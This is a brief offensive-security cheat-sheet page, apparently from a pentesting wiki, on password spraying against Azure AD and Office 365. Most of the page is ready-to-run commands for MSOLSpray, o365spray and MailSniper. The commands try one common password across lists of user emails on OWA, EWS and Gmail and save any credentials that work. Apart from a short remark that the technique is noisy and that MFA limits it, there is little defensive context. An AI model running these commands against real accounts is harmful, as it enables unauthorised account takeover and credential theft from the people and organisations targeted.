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Az - Password Spraying

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Password Spray

In Azure this can be done against different API endpoints like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
However, note that this technique is very noisy and Blue Team can easily catch it. Moreover, forced password complexity and the use of MFA can make this technique kind of useless.
You can perform a password spray attack with MSOLSpray
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
Or with o365spray
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
Or with MailSniper
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt
Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
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